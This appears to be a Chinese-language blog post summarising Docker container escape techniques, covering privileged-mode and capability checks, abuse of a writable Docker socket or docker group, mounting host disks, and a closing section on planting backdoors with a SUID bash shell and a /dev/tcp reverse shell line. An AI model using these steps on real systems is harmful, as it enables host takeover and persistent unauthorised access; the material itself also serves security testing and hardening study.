请注意,本文编写于 40 天前,最后修改于 40 天前,其中某些信息可能已经过时。
目录
Docker逃逸技巧总结
1. 环境检测
1.1 检查是否在Docker容器中
1.2 检查特权模式
1.3 检查敏感挂载点
1.4 检查capabilities
2. Docker Socket利用
2.1 检查Docker Socket
2.2 利用方式
3. 特权模式利用
3.1 挂载宿主机文件系统
3.2 挂载关键文件系统
4. 高级逃逸技术
4.1 通过/proc/self/root逃逸
4.2 容器运行时利用
4.3 设备文件逃逸
5. Docker组利用
5.1 检查Docker组权限
5.2 利用方式
6. 命名空间利用
6.1 用户命名空间
6.2 Mount命名空间
7. Cgroup利用
7.1 检查Cgroup
8. 自动化逃逸流程
8.1 环境检测
8.2 逃逸方法选择
8.3 逃逸结果验证
9. 后门创建
9.1 宿主机后门
9.2 挂载点后门
Docker逃逸技巧总结
1. 环境检测
1.1 检查是否在Docker容器中
- 检查是否存在
/.dockerenv文件
- 检查是否存在
/run/.containerenv文件
1.2 检查特权模式
- 读取
/proc/self/status中的CapEff字段
- 如果值为
0000003fffffffff,表示容器以特权模式运行
1.3 检查敏感挂载点
- 检查是否存在以下挂载点:
/host - 宿主机根目录挂载
/var/run/docker.sock - Docker socket挂载
/proc - Proc文件系统挂载
/sys - Sys文件系统挂载
/dev - 设备文件系统挂载
1.4 检查capabilities
- 分析容器的capabilities,重点关注危险capabilities:
cap_sys_admin - 系统管理权限,可用于挂载文件系统
cap_sys_module - 加载内核模块
cap_dac_read_search - 绕过文件读取权限
cap_dac_override - 绕过文件写入权限
cap_sys_ptrace - 调试其他进程
2. Docker Socket利用
2.1 检查Docker Socket
- 检查
/var/run/docker.sock是否存在
- 检查权限是否为0666或可写
2.2 利用方式
- 使用curl通过Unix Socket与Docker守护进程通信
- 使用nc通过Unix Socket与Docker守护进程通信
- 创建特权容器,将宿主机根目录挂载到容器内
3. 特权模式利用
3.1 挂载宿主机文件系统
- 创建挂载点(如
/host)
- 尝试挂载宿主机设备文件:
/dev/sda1
/dev/vda1
/dev/xvda1
/dev/nvme0n1p1
3.2 挂载关键文件系统
- 挂载proc文件系统:
mount -t proc proc /host/proc
- 挂载sysfs文件系统:
mount -t sysfs sysfs /host/sys
- 挂载devtmpfs文件系统:
mount -t devtmpfs devtmpfs /host/dev
4. 高级逃逸技术
4.1 通过/proc/self/root逃逸
- 检查
/proc/self/root是否存在
- 通过该路径访问宿主机文件系统
- 读取宿主机敏感文件如
/etc/passwd
4.2 容器运行时利用
- 检查可用的容器运行时:
- 检查相关socket文件:
/run/containerd/containerd.sock
/var/run/crio/crio.sock
4.3 设备文件逃逸
- 检查常见的设备文件:
/dev/sda
/dev/vda
/dev/xvda
/dev/nvme0n1
- 尝试直接读取设备文件内容
5. Docker组利用
5.1 检查Docker组权限
- 检查当前用户是否属于docker组
- 无需sudo即可使用Docker命令
5.2 利用方式
- 直接运行容器挂载宿主机根目录
- 使用
docker run -v /:/host命令
- 在挂载的目录中创建后门
6. 命名空间利用
6.1 用户命名空间
6.2 Mount命名空间
- 检查mount命名空间是否可用:
unshare -m
7. Cgroup利用
7.1 检查Cgroup
- 检查
/sys/fs/cgroup目录是否存在
- 检查是否可写,可能存在逃逸机会
8. 自动化逃逸流程
8.1 环境检测
- 检查Docker版本
- 检查当前用户权限
- 检查Docker组权限
8.2 逃逸方法选择
- 如果Docker socket可写,使用API逃逸
- 如果容器以特权模式运行,使用特权逃逸
- 如果存在宿主机挂载点,使用挂载逃逸
8.3 逃逸结果验证
- 检查是否可以访问宿主机文件系统
- 检查是否可以访问宿主机进程
9. 后门创建
9.1 宿主机后门
- 在宿主机上创建具有SUID位的shell
- 示例:
#!/bin/bash\n/bin/bash -p
9.2 挂载点后门
- 在挂载点创建反向shell
- 示例:
bash -i >& /dev/tcp/IP/PORT 0>&1 &
本文作者:晏秋
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA
许可协议。转载请注明出处!